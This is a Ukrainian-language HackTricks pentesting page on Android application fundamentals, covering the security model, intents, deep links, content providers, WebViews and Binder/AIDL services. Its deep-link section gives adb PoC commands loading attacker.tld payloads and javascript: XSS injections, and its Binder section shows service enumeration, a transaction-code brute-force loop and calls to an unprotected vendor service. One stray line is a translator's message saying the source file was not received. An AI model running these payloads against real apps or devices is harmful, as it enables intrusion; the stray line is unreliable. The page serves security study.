Основи Android-додатків
Tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.
Модель безпеки Android
Є два рівні:
- The OS, який ізолює встановлені додатки один від одного.
- The application itself, який дозволяє розробникам відкривати певні функціональності і налаштовувати можливості додатка.
UID Separation
Кожному додатку присвоюється конкретний User ID. Це відбувається під час встановлення додатка, тож додаток може взаємодіяти лише з файлами, якими володіє цей User ID, або зі спільними файлами. Тому доступ до даних додатка мають лише сам додаток, певні компоненти ОС і root-користувач.
UID Sharing
Два додатки можуть бути налаштовані на використання одного й того ж UID. Це може бути корисно для обміну інформацією, але якщо один із них буде скомпрометований, дані обох додатків також будуть скомпрометовані. Саме тому така поведінка не рекомендується.
Щоб використовувати один і той же UID, додатки повинні визначити однакове значення android:sharedUserId у своїх манифестах.
Sandboxing
Android Application Sandbox дозволяє виконувати кожний додаток як окремий процес під окремим user ID. Кожен процес має власну віртуальну машину, тому код додатка виконується ізольовано від інших додатків.
Від Android 5.0(L) запроваджено примусове застосування SELinux. По суті, SELinux заборонив усі взаємодії процесів, а потім створив політики, щоб дозволяти лише очікувані взаємодії між ними.
Permissions
Коли ви встановлюєте app і він запитує permissions, додаток просить ті дозволи, які вказані в елементах uses-permission у файлі AndroidManifest.xml. Елемент uses-permission вказує назву запитуваного дозволу у атрибуті name. Також він має атрибут maxSdkVersion, який припиняє запит дозволів на версіях вище зазначеної.
Зауважте, що android-додатки не зобов’язані запитувати всі дозволи на початку — вони можуть також запитувати дозволи динамічно, але всі дозволи мають бути задекларовані у manifest.
Коли додаток відкриває функціональність, він може обмежити доступ лише для додатків, які мають певний permission.
Елемент permission має три атрибути:
- name дозволу
- Атрибут permission-group, який дозволяє групувати споріднені дозволи.
- protection-level, який вказує, як надаються дозволи. Існує чотири типи:
- Normal: Використовується, коли немає відомих загроз для додатка. Користувач не зобов’язаний підтверджувати цей дозвіл.
- Dangerous: Вказує, що дозвіл надає запитуючому додатку деякий підвищений доступ. Користувачів просять підтвердити такі дозволи.
- Signature: Лише додатки, підписані тим самим сертифікатом, що й той, який експортує компонент, можуть отримати цей дозвіл. Це найсильніший рівень захисту.
- SignatureOrSystem: Лише додатки, підписані тим самим сертифікатом, що й той, який експортує компонент, або додатки, що працюють з доступом на рівні system, можуть отримувати такі дозволи.
Pre-Installed Applications
Ці додатки зазвичай знаходяться в директоріях /system/app або /system/priv-app, і деякі з них оптимізовані (ви можете навіть не знайти файл classes.dex). Такі додатки варто перевіряти, бо іноді вони мають занадто багато permissions (наприклад, працюють як root).
- Ті, що постачаються з AOSP (Android OpenSource Project) ROM
- Додані виробником пристрою
- Додані мобільним оператором (якщо придбано у нього)
Rooting
Щоб отримати root-доступ до фізичного android-пристрою, зазвичай потрібно експлуатувати 1 або 2 vulnerabilities, які зазвичай є специфічними для конкретного пристрою і версії.
Після успішного експлоіту зазвичай бінар su копіюється в місце, вказане в PATH користувача, наприклад /system/xbin.
Після налаштування бінарного файлу su, інший Android app використовується для взаємодії з su і обробки запитів на root-доступ — наприклад, Superuser і SuperSU (доступні в Google Play store).
Caution
Зауважте, що процес rooting дуже небезпечний і може серйозно пошкодити пристрій
ROMs
Можна замінити ОС, встановивши кастомну прошивку. Це дозволяє продовжити корисність старого пристрою, обійти програмні обмеження або отримати доступ до останнього коду Android.
OmniROM та LineageOS — дві з найпопулярніших прошивок.
Зауважте, що не завжди потрібно root-увати пристрій, щоб встановити кастомну прошивку. Деякі виробники дозволяють розблокувати bootloader у добре документований і безпечний спосіб.
Implications
Після отримання root-доступу будь-який app може запитувати доступ як root. Якщо зловмисний додаток отримає його, він матиме доступ майже до всього і зможе завдати шкоди телефону.
Android Application Fundamentals
- Формат Android-додатків називають APK file format. Це по суті ZIP file (перейменувавши розширення файлу на .zip, вміст можна розпакувати і переглянути).
- Вміст APK (неповний перелік)
- AndroidManifest.xml
- resources.arsc/strings.xml
- resources.arsc: містить прекомпільовані ресурси, наприклад бінарний XML.
- res/xml/files_paths.xml
- META-INF/
- Тут розташований Certificate!
- classes.dex
- Містить Dalvik bytecode, що представляє скомпільований Java (або Kotlin) код, який додаток виконує за замовчуванням.
- lib/
- Містить native libraries, розділені за архітектурою CPU у підпапках.
armeabi: код для процесорів на базі ARMarmeabi-v7a: код для процесорів ARMv7 та вищеx86: код для процесорів X86mips: код тільки для процесорів MIPS- assets/
- Зберігає різні файли, потрібні додатку, потенційно включаючи додаткові native libraries або DEX файли, іноді використовується malware-авторами для приховування додаткового коду.
- res/
- Містить ресурси, які не скомпільовані у resources.arsc
Dalvik & Smali
В розробці Android використовується Java або Kotlin для створення додатків. Замість JVM, як у десктопних додатках, Android компілює цей код у Dalvik Executable (DEX) bytecode. Раніше Dalvik virtual machine обробляла цей байткод, але зараз у новіших версіях Android цю роль виконує Android Runtime (ART).
Для реверс-інжинірингу критично важливим є Smali. Це людино-зрозуміла версія DEX bytecode, яка діє як асемблер, перетворюючи байткодні інструкції у читабельну форму. Smali і baksmali відносяться до інструментів асемблювання та дизасемблювання в цьому контексті.
Intents
Intents є основним способом, яким Android apps спілкуються між своїми компонентами або з іншими додатками. Ці message objects також можуть передавати дані між додатками чи компонентами, подібно до того, як GET/POST requests використовуються в HTTP-комунікаціях.
Отже, Intent — це по суті повідомлення, яке передається між компонентами. Intents можуть бути спрямовані на конкретні компоненти або додатки, або можуть бути відправлені без конкретного одержувача.
Проще кажучи, Intent можна використовувати:
- Щоб запустити Activity, зазвичай відкриваючи інтерфейс користувача додатка
- Як broadcasts для інформування системи і додатків про зміни
- Щоб стартувати, зупиняти і взаємодіяти з background service
- Щоб отримати доступ до даних через ContentProviders
- Як callbacks для обробки подій
Якщо вони вразливі, Intents можуть використовуватися для здійснення різних атак.
Intent-Filter
Intent Filters визначають, як activity, service або Broadcast Receiver можуть взаємодіяти з різними типами Intents. По суті, вони описують можливості цих компонентів, наприклад які дії вони можуть виконувати або які типи broadcast-ів можуть обробляти. Основне місце для декларації цих фільтрів — це файл AndroidManifest.xml, хоча для Broadcast Receivers їх також можна реалізувати у коді.
Intent Filters складаються з categories, actions і data filters, з можливістю додавання додаткових metadata. Така конфігурація дозволяє компонентам обробляти конкретні Intents, які відповідають заявленим критеріям.
Критичним аспектом Android-компонентів (activities/services/content providers/broadcast receivers) є їхня видимість або public статус. Компонент вважається публічним і може взаємодіяти з іншими додатками, якщо він exported зі значенням true або якщо для нього оголошено Intent Filter у манифесті. Однак розробники можуть явно зробити ці компоненти приватними, щоб вони ненавмисно не взаємодіяли з іншими додатками. Це досягається встановленням атрибуту exported у false у визначеннях манифесту.
Більше того, розробники можуть додатково захистити доступ до цих компонентів, вимагаючи певні permissions. Атрибут permission може бути встановлений, щоб забезпечити, що доступ матимуть лише додатки з вказаним дозволом, додаючи таким чином додатковий шар безпеки і контролю над тим, хто може взаємодіяти з компонентом.
<activity android:name=".MyActivity" android:exported="false">
<!-- Intent filters go here -->
</activity>
Неявні Intents
Intents програмно створюються за допомогою конструктора Intent:
Intent email = new Intent(Intent.ACTION_SEND, Uri.parse("mailto:"));
Поле Action раніше оголошеного intent — ACTION_SEND, а Extra — mailto Uri (Extra — додаткова інформація, яку очікує intent).
Цей intent слід оголосити в manifest так, як у наведеному прикладі:
<activity android:name="ShareActivity">
<intent-filter>
<action android:name="android.intent.action.SEND" />
<category android:name="android.intent.category.DEFAULT" />
</intent-filter>
</activity>
intent-filter має відповідати action, data та category, щоб отримати повідомлення.
Процес “Intent resolution” визначає, який додаток повинен отримати кожне повідомлення. Цей процес враховує priority attribute, який можна задати в intent-filter declaration, і the one with the higher priority will be selected. Цей пріоритет можна встановити між -1000 та 1000, а додатки можуть використовувати значення SYSTEM_HIGH_PRIORITY. Якщо виникає conflict, з’являється вікно “choser”, щоб user can decide.
Explicit Intents
Intent downloadIntent = new (this, DownloadService.class):
В інших додатках, щоб отримати доступ до раніше оголошеного intent, ви можете використати:
Intent intent = new Intent();
intent.setClassName("com.other.app", "com.other.app.ServiceName");
context.startService(intent);
Pending Intents
Вони дозволяють іншим додаткам виконувати дії від імені вашого додатка, використовуючи ідентичність і дозволи вашого додатка. При створенні Pending Intent потрібно вказати intent та дію, яку потрібно виконати. Якщо заявлений intent не є Explicit (не вказує, який intent може його викликати), зловмисний додаток може виконати цю дію від імені жертви. Крім того, якщо дія не вказана, зловмисний додаток зможе виконувати будь-які дії від імені жертви.
Broadcast Intents
На відміну від попередніх intent-ів, які отримує лише один додаток, broadcast intents можуть бути отримані кількома додатками. Однак починаючи з API версії 14, це можна вказати додаток, який має отримати повідомлення, використовуючи Intent.set Package.
Як альтернативу також можна вказати permission під час відправлення broadcast. Додаток-отримувач повинен мати цей permission.
Існує два типи Broadcast-ів: Normal (асинхронний) та Ordered (синхронний). Порядок визначається налаштованим пріоритетом всередині елемента receiver. Кожен додаток може обробити, передати далі або відкинути Broadcast.
Можна відправити broadcast використовуючи функцію sendBroadcast(intent, receiverPermission) з класу Context.
Також можна використати функцію sendBroadcast з LocalBroadCastManager, яка гарантує, що повідомлення ніколи не покидає додаток. Використовуючи це, вам навіть не потрібно експортувати компонент receiver.
Sticky Broadcasts
Цей тип Broadcast-ів можна отримати ще довго після їх відправлення.
Вони були застарілими починаючи з API level 21 і рекомендовано не використовувати їх.
Вони дозволяють будь-якому додатку прослуховувати (sniff) дані, а також змінювати їх.
Якщо ви знайдете функції, що містять слово “sticky”, наприклад sendStickyBroadcast або sendStickyBroadcastAsUser, перевірте вплив і спробуйте їх видалити.
Deep links / URL schemes
В Android-додатках deep links використовуються для ініціювання дії (Intent) безпосередньо через URL. Це здійснюється шляхом декларації конкретного URL scheme в межах activity. Коли Android-пристрій намагається звернутися до URL з цією схемою, запускається вказана activity в додатку.
Схема має бути задекларована у файлі AndroidManifest.xml:
[...]
<activity android:name=".MyActivity">
<intent-filter>
<action android:name="android.intent.action.VIEW" />
<category android:name="android.intent.category.DEFAULT" />
<category android:name="android.intent.category.BROWSABLE" />
<data android:scheme="examplescheme" />
</intent-filter>
[...]
Схема з попереднього прикладу — examplescheme:// (зверніть увагу також на category BROWSABLE)
Потім, у полі data, ви можете вказати host і path:
<data android:scheme="examplescheme"
android:host="example"
/>
Щоб отримати до нього доступ із вебу, можна встановити посилання такого вигляду:
<a href="examplescheme://example/something">click here</a>
<a href="examplescheme://example/javascript://%250dalert(1)">click here</a>
Щоб знайти код, який буде виконано у додатку, перейдіть до Activity, яку викликає deeplink, і знайдіть функцію onNewIntent.
Дізнайтесь, як викликати deep links без використання HTML-сторінок.
Deep link тестування безпеки & adb PoCs
- Entry point discovery: exported Activities, які оголошують
<action android:name="android.intent.action.VIEW" />+<category android:name="android.intent.category.BROWSABLE" />, віддалено доступні через сконструйовані URI (custom schemes абоhttp/httpsApp Links). Надавайте пріоритет шляхам, що містять ключові слова login/reset/payment/wallet/admin. - Validation bypass heuristics: слабкі перевірки хоста, такі як
endsWith(),contains(), permissive regexes, або substring allowlists зазвичай можна обійти за допомогою піддоменів, контрольованих атакуючим, трюків з префіксами/суфіксами та подвійного кодування URL/UTF‑8. - WebView sinks: якщо обробник пересилає вхідний URI або query params у
WebView.loadUrl(...), ви можете змусити додаток відобразити довільний контент атакуючого. Якщо валідація scheme слабка, спробуйтеjavascript:payloads, а також зовнішніhttps://URL. - adb PoC шаблони (implicit vs explicit):
# Generic implicit VIEW (custom scheme or App Link)
adb shell am start -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"
# Explicitly target a specific Activity
adb shell am start -n com.example/.MainActivity -a android.intent.action.VIEW \
-d "myapp://host/path?redirect=https://attacker.tld"
# Try javascript: when scheme filters are lax
adb shell am start -a android.intent.action.VIEW \
-d "myapp://host/web?url=javascript:alert(1)"
- Operational tips: захоплюйте кілька варіантів payload (external URL vs
javascript:) і швидко відтворюйте їх на пристрої/емуляторі, щоб відрізнити реальні проблеми (open-redirect/auth-bypass/WebView URL injection) від шуму статичного аналізу. - Automation: Deep-C автоматизує deeplink hunting шляхом декомпіляції APK (apktool + dex2jar + jadx), переліку exported + browsable activities, кореляції слабкої валідації та потоків
WebView.loadUrl, і генерує готові до запуску adb PoC (за бажанням автоматично виконуються з--exec).
AIDL - Android Interface Definition Language
The Android Interface Definition Language (AIDL) призначена для спрощення взаємодії між клієнтом і сервісом у Android-додатках через interprocess communication (IPC). Оскільки прямий доступ до пам’яті іншого процесу на Android заборонений, AIDL спрощує процес, маршалінгуючи об’єкти у формат, зрозумілий операційній системі, тим самим полегшуючи передачу даних між різними процесами.
Key Concepts
-
Bound Services: ці сервіси використовують AIDL для IPC, дозволяючи activities або компонентам прив’язуватися до сервісу, робити запити та отримувати відповіді. Метод
onBindу класі сервісу є критичним для ініціації взаємодії, тому його слід уважно перевіряти під час перевірки безпеки у пошуках вразливостей. -
Messenger: працюючи як bound service, Messenger полегшує IPC, зосереджуючись на обробці даних через метод
onBind. Важливо ретельно перевіряти цей метод на наявність небезпечної обробки даних або виконання критичних функцій. -
Binder: хоча пряме використання класу Binder менш поширене через абстракцію AIDL, корисно розуміти, що Binder виступає як драйвер на рівні ядра, який полегшує передачу даних між просторами пам’яті різних процесів. Для детальнішого розуміння доступний ресурс: https://www.youtube.com/watch?v=O-UHvFjxwZ8.
Components
До них належать: Activities, Services, Broadcast Receivers and Providers.
Launcher Activity and other activities
У Android-додатках activities схожі на екрани, які показують різні частини інтерфейсу програми. Додаток може мати багато activities, кожна з яких представляє окремий екран для користувача.
The launcher activity — це головний вхід у додаток, який запускається при натисканні на іконку програми. Він визначається у manifest файлі додатка зі специфічними інтенціями MAIN та LAUNCHER:
<activity android:name=".LauncherActivity">
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>
Не всі додатки потребують launcher activity, особливо ті, що не мають інтерфейсу користувача, наприклад фонові сервіси.
Activities можна зробити доступними для інших додатків або процесів, позначивши їх як “exported” у маніфесті. Це налаштування дозволяє іншим додаткам запускати цю activity:
<service android:name=".ExampleExportedService" android:exported="true"/>
Однак доступ до activity з іншого додатка не завжди є ризиком для безпеки. Занепокоєння виникає, якщо конфіденційні дані передаються неналежним чином, що може призвести до information leaks.
Життєвий цикл activity починається з методу onCreate, який налаштовує UI і готує activity до взаємодії з користувачем.
Підклас Application
У розробці Android додаток має можливість створити підклас класу Application, хоча це не обов’язково. Коли такий підклас визначено, він стає першою класою, що інстанціюється в додатку. Метод attachBaseContext, якщо він реалізований у цьому підкласі, виконується перед методом onCreate. Ця конфігурація дозволяє виконати ранню ініціалізацію перед запуском решти додатку.
public class MyApp extends Application {
@Override
protected void attachBaseContext(Context base) {
super.attachBaseContext(base);
// Initialization code here
}
@Override
public void onCreate() {
super.onCreate();
// More initialization code
}
}
Служби
Services є фоновими компонентами, здатними виконувати завдання без інтерфейсу користувача. Ці завдання можуть продовжувати працювати навіть коли користувачі переходять в інші додатки, через що служби життєво важливі для довготривалих операцій.
Служби універсальні; їх можна ініціювати різними способами, причому Intents є основним методом запуску як точки входу додатку. Як тільки службу запускають за допомогою методу startService, її метод onStart починає виконання і продовжує працювати, доки явно не буде викликано stopService. Альтернативно, якщо роль служби залежить від активного підключення клієнта, для зв’язування клієнта зі службою використовується метод bindService, що задіює onBind для передачі даних.
Цікавим застосуванням служб є відтворення фонового звуку або отримання мережевих даних без заважання взаємодії користувача з додатком. Крім того, служби можна зробити доступними іншим процесам на тому ж пристрої через exporting. Це не поведінка за замовчуванням і вимагає явної конфігурації в Android Manifest file:
<service android:name=".ExampleExportedService" android:exported="true"/>
Broadcast Receivers
Broadcast receivers діють як слухачі в системі повідомлень, дозволяючи кільком додаткам реагувати на ті самі повідомлення від системи. Додаток може зареєструвати receiver двома основними способами: через Manifest додатку або динамічно в коді додатку через API registerReceiver. В Manifest повідомлення фільтруються з використанням permission, тоді як динамічно зареєстровані receivers можуть також вказувати permissions під час реєстрації.
Intent filters є критично важливими в обох методах реєстрації, визначаючи, які broadcasts викликають receiver. Після відправки відповідного broadcast викликається метод onReceive приймача, що дозволяє додатку відповідно реагувати, наприклад змінювати поведінку у відповідь на попередження про низький заряд батареї.
Broadcasts можуть бути або асинхронними, досягаючи всіх receivers без порядку, або синхронними, коли receivers отримують broadcast на основі встановлених пріоритетів. Однак важливо враховувати потенційну загрозу безпеці, оскільки будь-який додаток може встановити пріоритет, щоб перехопити broadcast.
Щоб зрозуміти функціональність receiver, шукайте метод onReceive у відповідному класі. Код цього методу може маніпулювати отриманим Intent, що підкреслює необхідність валідації даних приймачами, особливо в випадку Ordered Broadcasts, які можуть змінювати або відкидати Intent.
Content Provider
Content Providers є важливими для обміну структурованими даними між додатками, підкреслюючи важливість впровадження permissions для забезпечення безпеки даних. Вони дозволяють додаткам отримувати доступ до даних з різних джерел, включаючи бази даних, файлові системи або веб. Конкретні permissions, такі як readPermission і writePermission, мають вирішальне значення для контролю доступу. Додатково тимчасовий доступ може бути наданий через налаштування grantUriPermission у manifest додатку, з використанням атрибутів таких як path, pathPrefix і pathPattern для детального контролю доступу.
Валідація вводу є першочерговою для запобігання вразливостей, таких як SQL injection. Content Providers підтримують базові операції: insert(), update(), delete(), і query(), що полегшує маніпуляцію та обмін даними між додатками.
Permission semantics and pitfalls (Content Providers)
- Якщо провайдер є exported, ви повинні явно вказати і readPermission, і writePermission. Якщо writePermission опущено, за замовчуванням воно null, що означає, що будь-який додаток може намагатися виконати insert/update/delete, якщо ці методи реалізовані провайдером.
- Ніколи не конкатенуйте недовірені projection, selection, selectionArgs або sortOrder у raw SQL. Використовуйте whitelist та прив’язку параметрів (наприклад, SQLiteQueryBuilder з projection map) і фіксовані шаблони WHERE.
- Віддавайте перевагу android:exported=“false”, якщо провайдер не має бути публічним. Для селективного шарингу використовуйте grantUriPermissions з path/pathPrefix/pathPattern.
FileProvider, спеціалізований Content Provider, орієнтований на безпечне надання доступу до файлів. Він визначається в manifest додатку з конкретними атрибутами для контролю доступу до папок, позначених через android:exported та android:resource, що вказує на конфігурацію папок. Рекомендується обережність при шарингу директорій, щоб уникнути ненавмисного розкриття чутливих даних.
Example manifest declaration for FileProvider:
<provider android:name="androidx.core.content.FileProvider"
android:authorities="com.example.myapp.fileprovider"
android:grantUriPermissions="true"
android:exported="false">
<meta-data android:name="android.support.FILE_PROVIDER_PATHS"
android:resource="@xml/filepaths" />
</provider>
А ось приклад вказування спільних папок у filepaths.xml:
<paths>
<files-path path="images/" name="myimages" />
</paths>
For further information check:
WebViews
WebViews схожі на міні-браузери всередині Android-додатків, які завантажують контент з мережі або з локальних файлів. Вони мають подібні ризики до звичайних браузерів, проте існують способи зменшити ці ризики за допомогою певних налаштувань.
Android пропонує два основні типи WebView:
- WebViewClient підходить для базового HTML, але не підтримує функцію JavaScript alert, що впливає на те, як тестуються XSS.
- WebChromeClient забезпечує досвід, ближчий до повноцінного браузера Chrome.
Важливо, що WebView-браузери не діляться cookies з основним браузером пристрою.
Для завантаження контенту доступні методи loadUrl, loadData і loadDataWithBaseURL. Важливо переконатися, що ці URL або файли безпечні для використання. Налаштування безпеки можна керувати через клас WebSettings. Наприклад, відключення JavaScript за допомогою setJavaScriptEnabled(false) може запобігти XSS-атакам.
JavaScript “Bridge” дозволяє Java-об’єктам взаємодіяти з JavaScript; методи повинні бути позначені @JavascriptInterface для безпеки починаючи з Android 4.2.
Дозвіл доступу до контенту (setAllowContentAccess(true)) дозволяє WebViews звертатися до Content Providers, що може бути ризиком, якщо URL контенту не перевірені як безпечні.
Для контролю доступу до файлів:
- Вимкнення доступу до файлів (
setAllowFileAccess(false)) обмежує доступ до файлової системи, з винятками для певних assets, гарантуючи, що вони використовуються лише для не чутливого контенту.
Other App Components and Mobile Device Management
Digital Signing of Applications
- Digital signing є обов’язковим для Android-додатків, забезпечуючи їх автентичне походження перед встановленням. Цей процес використовує сертифікат для ідентифікації додатку і має перевірятися package manager пристрою під час інсталяції. Додатки можуть бути self-signed або сертифіковані зовнішнім CA, що захищає від неавторизованого доступу й гарантує, що додаток не було підмінено під час доставки на пристрій.
App Verification for Enhanced Security
- Починаючи з Android 4.2, функція Verify Apps дозволяє перевіряти додатки на безпеку перед встановленням. Цей процес перевірки може попереджати користувачів про потенційно шкідливі додатки або навіть блокувати встановлення особливо зловмисних програм, підвищуючи безпеку користувачів.
Mobile Device Management (MDM)
- MDM solutions надають контроль та безпеку мобільних пристроїв через Device Administration API. Вони вимагають встановлення Android-додатку для ефективного керування та захисту мобільних пристроїв. Ключові функції включають застосування політик паролів, вимогу шифрування сховища та дозвіл на віддалене очищення даних, забезпечуючи всебічний контроль і безпеку мобільних пристроїв.
// Example of enforcing a password policy with MDM
DevicePolicyManager dpm = (DevicePolicyManager) getSystemService(Context.DEVICE_POLICY_SERVICE);
ComponentName adminComponent = new ComponentName(context, AdminReceiver.class);
if (dpm.isAdminActive(adminComponent)) {
// Set minimum password length
dpm.setPasswordMinimumLength(adminComponent, 8);
}
Enumerating and Exploiting AIDL / Binder Services
Android Binder IPC відкриває доступ до багатьох системних та наданих вендором сервісів. Ці сервіси стають поверхнею атаки, коли вони експортуються без належної перевірки дозволів (рівень AIDL сам по собі не виконує жодного контролю доступу).
1. Виявлення запущених сервісів
# from an adb shell (USB or wireless)
service list # simple one-liner
am list services # identical output, ActivityManager wrapper
Я не отримав вміст файлу src/mobile-pentesting/android-app-pentesting/android-applications-basics.md. Будь ласка, вставте текст для перекладу або підтвердіть, що потрібно лише приклад нумерованого списку.
145 mtkconnmetrics: [com.mediatek.net.connectivity.IMtkIpConnectivityMetrics]
146 wifi : [android.net.wifi.IWifiManager]
- Поле index (перший стовпець) призначається під час виконання – do not покладайтеся на нього між перезавантаженнями.
- Назва Binder name (наприклад,
mtkconnmetrics) — це те, що буде передано вservice call. - Значення в дужках — це повністю кваліфікований AIDL interface, з якого згенеровано stub.
2. Obtain the interface descriptor (PING)
Кожний Binder stub автоматично реалізує transaction code 0x5f4e5446 (1598968902 в десятковому, ASCII “_NTF”).
# "ping" the service
service call mtkconnmetrics 1 # 1 == decimal 1598968902 mod 2^32
Дійсна відповідь повертає ім’я інтерфейсу, закодоване як UTF-16 рядок всередині Parcel.
3. Виклик транзакції
Синтаксис: service call <name> <code> [type value ...]
Поширені специфікатори аргументів:
i32 <int>– знакове 32-розрядне значенняi64 <long>– знакове 64-розрядне значенняs16 <string>– UTF-16 рядок (Android 13+ використовуєutf16)
Приклад – запустити моніторинг мережі з uid 1 на пристрої MediaTek:
service call mtkconnmetrics 8 i32 1
4. Brute-forcing unknown methods
Коли заголовочні файли недоступні, ви можете iterate the code поки помилка не зміниться з:
Result: Parcel(00000000 00000000) # "Not a data message"
до звичайної відповіді Parcel або SecurityException.
for i in $(seq 1 50); do
printf "[+] %2d -> " $i
service call mtkconnmetrics $i 2>/dev/null | head -1
done
Якщо сервіс було скомпільовано з proguard, відповідність потрібно вгадати — див. наступний крок.
5. Відповідність кодів ↔ методів через onTransact()
Decompile the jar/odex, який реалізує інтерфейс (для AOSP stubs перевірте /system/framework; OEMs часто використовують /system_ext або /vendor).
Знайдіть Stub.onTransact() – він містить великий switch(transactionCode):
case TRANSACTION_updateCtaAppStatus: // 5
data.enforceInterface(DESCRIPTOR);
int appId = data.readInt();
boolean ok = data.readInt() != 0;
updateCtaAppStatus(appId, ok);
reply.writeNoException();
return true;
Тепер прототип і типи параметрів цілком зрозумілі.
6. Виявлення відсутніх перевірок дозволів
Реалізація (часто внутрішній клас Impl) відповідає за авторизацію:
private void updateCtaAppStatus(int uid, boolean status) {
if (!isPermissionAllowed()) {
throw new SecurityException("uid " + uid + " rejected");
}
/* privileged code */
}
Відсутність такої логіки або білого списку привілейованих UIDs (e.g. uid == 1000 /*system*/) є індикатором вразливості.
Кейс — MediaTek startMonitorProcessWithUid() (transaction 8) повністю виконує Netlink message без будь-якого контролю дозволів, що дозволяє непривілейованому додатку взаємодіяти з kernel’s Netfilter module і засмічувати system log.
7. Автоматизація оцінки
Tools / scripts that speed-up Binder reconnaissance:
- binderfs – надає доступ до
/dev/binderfsз вузлами для кожного сервісу binder-scanner.py– обходить таблицю Binder і виводить ACLs- Frida shortcut:
Java.perform(()=>console.log(android.os.ServiceManager.listServices().toArray()))
Посилання
- Android Services 101 – Pentest Partners
- Android Developer Docs – AIDL
- Android Developer Docs – IBinder
- Understanding Binder, Talk @ Google
- CVE-2025-10184: OnePlus OxygenOS Telephony provider permission bypass (NOT FIXED)
- Android docs: Content providers
- Android manifest provider: readPermission
- Android manifest provider: writePermission
- Android ContentResolver.update()
- Deep-C – Android deep link exploitation framework
Tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.


